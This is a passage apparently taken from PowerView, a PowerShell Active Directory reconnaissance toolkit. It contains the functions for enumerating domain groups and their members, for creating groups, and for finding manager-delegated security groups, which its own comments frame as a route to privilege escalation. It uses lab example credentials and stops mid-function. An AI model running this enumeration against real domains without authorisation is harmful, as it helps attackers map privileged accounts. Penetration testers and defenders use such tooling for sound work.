(&(objectCategory=group)(|(distinguishedname=CN=DesktopAdmins,CN=Users,DC=testlab,DC=local))) + +usncreated : 13245 +grouptype : -2147483646 +samaccounttype : 268435456 +samaccountname : Desktop Admins +whenchanged : 8/10/2016 12:30:30 AM +objectsid : S-1-5-21-890171859-3433809279-3366196753-1118 +objectclass : {top, group} +cn : Desktop Admins +usnchanged : 13255 +dscorepropagationdata : 1/1/1601 12:00:00 AM +name : Desktop Admins +distinguishedname : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +member : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +whencreated : 8/10/2016 12:29:43 AM +instancetype : 4 +objectguid : f37903ed-b333-49f4-abaa-46c65e9cca71 +objectcategory : CN=Group,CN=Schema,CN=Configuration,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroup -Credential $Cred + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'DEV\Domain Admins' | Get-DomainGroup -Verbose -Properties distinguishedname +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroup] filter string: (&(objectCategory=group)(|(samAccountName=Domain Admins))) + +distinguishedname +----------------- +CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local + +.OUTPUTS + +PowerView.Group + +Custom PSObject with translated group property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.Group')] + [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [Alias('UserName')] + [String] + $MemberIdentity, + + [Switch] + $AdminCount, + + [ValidateSet('DomainLocal', 'NotDomainLocal', 'Global', 'NotGlobal', 'Universal', 'NotUniversal')] + [Alias('Scope')] + [String] + $GroupScope, + + [ValidateSet('Security', 'Distribution', 'CreatedBySystem', 'NotCreatedBySystem')] + [String] + $GroupProperty, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($GroupSearcher) { + if ($PSBoundParameters['MemberIdentity']) { + + if ($SearcherArguments['Properties']) { + $OldProperties = $SearcherArguments['Properties'] + } + + $SearcherArguments['Identity'] = $MemberIdentity + $SearcherArguments['Raw'] = $True + + Get-DomainObject @SearcherArguments | ForEach-Object { + # convert the user/group to a directory entry + $ObjectDirectoryEntry = $_.GetDirectoryEntry() + + # cause the cache to calculate the token groups for the user/group + $ObjectDirectoryEntry.RefreshCache('tokenGroups') + + $ObjectDirectoryEntry.TokenGroups | ForEach-Object { + # convert the token group sid + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier($_,0)).Value + + # ignore the built in groups + if ($GroupSid -notmatch '^S-1-5-32-.*') { + $SearcherArguments['Identity'] = $GroupSid + $SearcherArguments['Raw'] = $False + if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties } + $Group = Get-DomainObject @SearcherArguments + if ($Group) { + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + } + } + } + } + else { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainGroup] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if (-not $GroupSearcher) { + Write-Warning "[Get-DomainGroup] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $GroupDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $GroupName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$GroupName)" + $SearcherArguments['Domain'] = $GroupDomain + Write-Verbose "[Get-DomainGroup] Extracted domain '$GroupDomain' from '$IdentityInstance'" + $GroupSearcher = Get-DomainSearcher @SearcherArguments + } + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainGroup] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['GroupScope']) { + $GroupScopeValue = $PSBoundParameters['GroupScope'] + $Filter = Switch ($GroupScopeValue) { + 'DomainLocal' { '(groupType:1.2.840.113556.1.4.803:=4)' } + 'NotDomainLocal' { '(!(groupType:1.2.840.113556.1.4.803:=4))' } + 'Global' { '(groupType:1.2.840.113556.1.4.803:=2)' } + 'NotGlobal' { '(!(groupType:1.2.840.113556.1.4.803:=2))' } + 'Universal' { '(groupType:1.2.840.113556.1.4.803:=8)' } + 'NotUniversal' { '(!(groupType:1.2.840.113556.1.4.803:=8))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group scope '$GroupScopeValue'" + } + if ($PSBoundParameters['GroupProperty']) { + $GroupPropertyValue = $PSBoundParameters['GroupProperty'] + $Filter = Switch ($GroupPropertyValue) { + 'Security' { '(groupType:1.2.840.113556.1.4.803:=2147483648)' } + 'Distribution' { '(!(groupType:1.2.840.113556.1.4.803:=2147483648))' } + 'CreatedBySystem' { '(groupType:1.2.840.113556.1.4.803:=1)' } + 'NotCreatedBySystem' { '(!(groupType:1.2.840.113556.1.4.803:=1))' } + } + Write-Verbose "[Get-DomainGroup] Searching for group property '$GroupPropertyValue'" + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainGroup] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $GroupSearcher.filter = "(&(objectCategory=group)$Filter)" + Write-Verbose "[Get-DomainGroup] filter string: $($GroupSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $GroupSearcher.FindOne() } + else { $Results = $GroupSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Group = $_ + } + else { + $Group = Convert-LDAPProperty -Properties $_.Properties + } + $Group.PSObject.TypeNames.Insert(0, 'PowerView.Group') + $Group + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGroup] Error disposing of the Results object" + } + } + $GroupSearcher.dispose() + } + } + } +} + + +function New-DomainGroup { +<# +.SYNOPSIS + +Creates a new domain group (assuming appropriate permissions) and returns the group object. + +TODO: implement all properties that New-ADGroup implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to create a new +DirectoryServices.AccountManagement.GroupPrincipal with the specified +group properties. + +.PARAMETER SamAccountName + +Specifies the Security Account Manager (SAM) account name of the group to create. +Maximum of 256 characters. Mandatory. + +.PARAMETER Name + +Specifies the name of the group to create. If not provided, defaults to SamAccountName. + +.PARAMETER DisplayName + +Specifies the display name of the group to create. If not provided, defaults to SamAccountName. + +.PARAMETER Description + +Specifies the description of the group to create. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' + +Creates the 'TestGroup' group with the specified description. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +New-DomainGroup -SamAccountName TestGroup -Description 'This is a test group.' -Credential $Cred + +Creates the 'TestGroup' group with the specified description using the specified alternate credentials. + +.OUTPUTS + +DirectoryServices.AccountManagement.GroupPrincipal +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('DirectoryServices.AccountManagement.GroupPrincipal')] + Param( + [Parameter(Mandatory = $True)] + [ValidateLength(0, 256)] + [String] + $SamAccountName, + + [ValidateNotNullOrEmpty()] + [String] + $Name, + + [ValidateNotNullOrEmpty()] + [String] + $DisplayName, + + [ValidateNotNullOrEmpty()] + [String] + $Description, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $ContextArguments = @{ + 'Identity' = $SamAccountName + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + $Context = Get-PrincipalContext @ContextArguments + + if ($Context) { + $Group = New-Object -TypeName System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList ($Context.Context) + + # set all the appropriate group parameters + $Group.SamAccountName = $Context.Identity + + if ($PSBoundParameters['Name']) { + $Group.Name = $Name + } + else { + $Group.Name = $Context.Identity + } + if ($PSBoundParameters['DisplayName']) { + $Group.DisplayName = $DisplayName + } + else { + $Group.DisplayName = $Context.Identity + } + + if ($PSBoundParameters['Description']) { + $Group.Description = $Description + } + + Write-Verbose "[New-DomainGroup] Attempting to create group '$SamAccountName'" + try { + $Null = $Group.Save() + Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully created" + $Group + } + catch { + Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName' : $_" + } + } +} + + +function Get-DomainManagedSecurityGroup { +<# +.SYNOPSIS + +Returns all security groups in the current (or target) domain that have a manager set. + +Author: Stuart Morgan (@ukstufus) , Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject, Get-DomainGroup, Get-DomainObjectAcl + +.DESCRIPTION + +Authority to manipulate the group membership of AD security groups and distribution groups +can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically +used to delegate management authority to distribution groups, but Windows supports security groups +being managed in the same way. + +This function searches for AD groups which have a group manager set, and determines whether that +user can manipulate group membership. This could be a useful method of horizontal privilege +escalation, especially if the manager can manipulate the membership of a privileged group. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainManagedSecurityGroup | Export-PowerViewCSV -NoTypeInformation group-managers.csv + +Store a list of all security groups with managers in group-managers.csv + +.OUTPUTS + +PowerView.ManagedSecurityGroup + +A custom PSObject describing the managed security group. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ManagedSecurityGroup')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'LDAPFilter' = '(&(managedBy=*)(groupType:1.2.840.113556.1.4.803:=2147483648))' + 'Properties' = 'distinguishedName,managedBy,samaccounttype,samaccountname' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $SearcherArguments['Domain'] = $Domain + $TargetDomain = $Domain + } + else { + $TargetDomain = $Env:USERDNSDOMAIN + } + + # go through the list of security groups on the domain and identify those who have a manager + Get-DomainGroup @SearcherArguments | ForEach-Object { + $SearcherArguments['Properties'] = 'distinguishedname,name,samaccounttype,samaccountname,objectsid' + $SearcherArguments['Identity'] = $_.managedBy + $Null = $SearcherArguments.Remove('LDAPFilter') + + # $SearcherArguments + # retrieve the object that the managedBy DN refers to + $GroupManager = Get-DomainObject @SearcherArguments + + $ManagedGroup = New-Object PSObject + $ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname + $ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName' $_.distinguishedname + $ManagedGroup | Add-Member Noteproperty 'ManagerName' $GroupManager.samaccountname + $ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName' $GroupManager.distinguishedName + + # determine whether the manager is a user or a group + if ($GroupManager.samaccounttype -eq 0x10000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group' + } + elseif ($GroupManager.samaccounttype -eq 0x30000000) { + $ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User' + } + + $ACLArguments = @{ + 'Identity' = $_.distinguishedname + 'RightsFilter' = 'WriteMembers' + } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + # # TODO: correct! + # # find the ACLs that relate to the ability to write to the group + # $xacl = Get-DomainObjectAcl @ACLArguments -Verbose + # # $ACLArguments + # # double-check that the manager + # if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AceType -eq 'AccessAllowed' -and ($xacl.ObjectSid -eq $GroupManager.objectsid)) { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $True + # } + # else { + # $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' $False + # } + + $ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN' + + $ManagedGroup.PSObject.TypeNames.Insert(0, 'PowerView.ManagedSecurityGroup') + $ManagedGroup + } + } +} + + +function Get-DomainGroupMember { +<# +.SYNOPSIS + +Return the members of a specific domain group. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Get-DomainGroup, Get-DomainGroupMember, Convert-ADName, Get-DomainObject, ConvertFrom-SID + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for the specified +group matching the criteria. Each result is then rebound and the full user +or group object is returned. + +.PARAMETER Identity + +A SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to query for. Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER Recurse + +Switch. If the group member is a group, recursively try to query its members as well. + +.PARAMETER RecurseUsingMatchingRule + +Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query to recurse. +Much faster than manual recursion, but doesn't reveal cross-domain groups, +and only returns user accounts (no nested group objects themselves). + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainGroupMember "Desktop Admins" + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +'Desktop Admins' | Get-DomainGroupMember -Recurse + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : Testing Group +MemberDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberObjectClass : group +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1129 + +GroupDomain : testlab.local +GroupName : Testing Group +GroupDistinguishedName : CN=Testing Group,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +Get-DomainGroupMember -Domain testlab.local -Identity 'Desktop Admins' -RecurseUingMatchingRule + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : harmj0y +MemberDistinguishedName : CN=harmj0y,CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1108 + +GroupDomain : testlab.local +GroupName : Desktop Admins +GroupDistinguishedName : CN=Desktop Admins,CN=Users,DC=testlab,DC=local +MemberDomain : testlab.local +MemberName : arobbins.a +MemberDistinguishedName : CN=Andy Robbins (admin),CN=Users,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-890171859-3433809279-3366196753-1112 + +.EXAMPLE + +Get-DomainGroup *admin* -Properties samaccountname | Get-DomainGroupMember + +.EXAMPLE + +'CN=Enterprise Admins,CN=Users,DC=testlab,DC=local', 'Domain Admins' | Get-DomainGroupMember + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainGroupMember -Credential $Cred -Identity 'Domain Admins' + +.EXAMPLE + +Get-Domain | Select-Object -Expand name +testlab.local + +'dev\domain admins' | Get-DomainGroupMember -Verbose +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Extracted domain 'dev.testlab.local' from 'dev\domain admins' +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainGroupMember] Get-DomainGroupMember filter string: (&(objectCategory=group)(|(samAccountName=domain admins))) +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=user1,CN=Users,DC=dev,DC=testlab,DC=local))) + +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : user1 +MemberDistinguishedName : CN=user1,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-201108 + +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(distinguishedname=CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local))) +GroupDomain : dev.testlab.local +GroupName : Domain Admins +GroupDistinguishedName : CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local +MemberDomain : dev.testlab.local +MemberName : Administrator +MemberDistinguishedName : CN=Administrator,CN=Users,DC=dev,DC=testlab,DC=local +MemberObjectClass : user +MemberSID : S-1-5-21-339048670-1233568108-4141518690-500 + +.OUTPUTS + +PowerView.GroupMember + +Custom PSObject with translated group member property fields. + +.LINK + +http://www.powershellmagazine.com/2013/05/23/pstip-retrieve-group-membership-of-an-active-directory-group-recursively/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.GroupMember')] + [CmdletBinding(DefaultParameterSetName = 'None')] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Parameter(ParameterSetName = 'ManualRecurse')] + [Switch] + $Recurse, + + [Parameter(ParameterSetName = 'RecurseUsingMatchingRule')] + [Switch] + $RecurseUsingMatchingRule, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'member,samaccountname,distinguishedname' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + } + + PROCESS { + $GroupSearcher = Get-DomainSearcher @SearcherArguments + if ($GroupSearcher) { + if ($PSBoundParameters['RecurseUsingMatchingRule']) { + $SearcherArguments['Identity'] = $Identity + $SearcherArguments['Raw'] = $True + $Group = Get-DomainGroup @SearcherArguments + + if (-not $Group) { + Write-Warning "[Get-DomainGroupMember] Error searching for group with identity: $Identity" + } + else { + $GroupFoundName = $Group.properties.item('samaccountname')[0] + $GroupFoundDN = $Group.properties.item('distinguishedname')[0] + + if ($PSBoundParameters['Domain']) { + $GroupFoundDomain = $Domain + } + else { + # if a domain isn't passed, try to extract it from the found group distinguished name + if ($GroupFoundDN) { + $GroupFoundDomain = 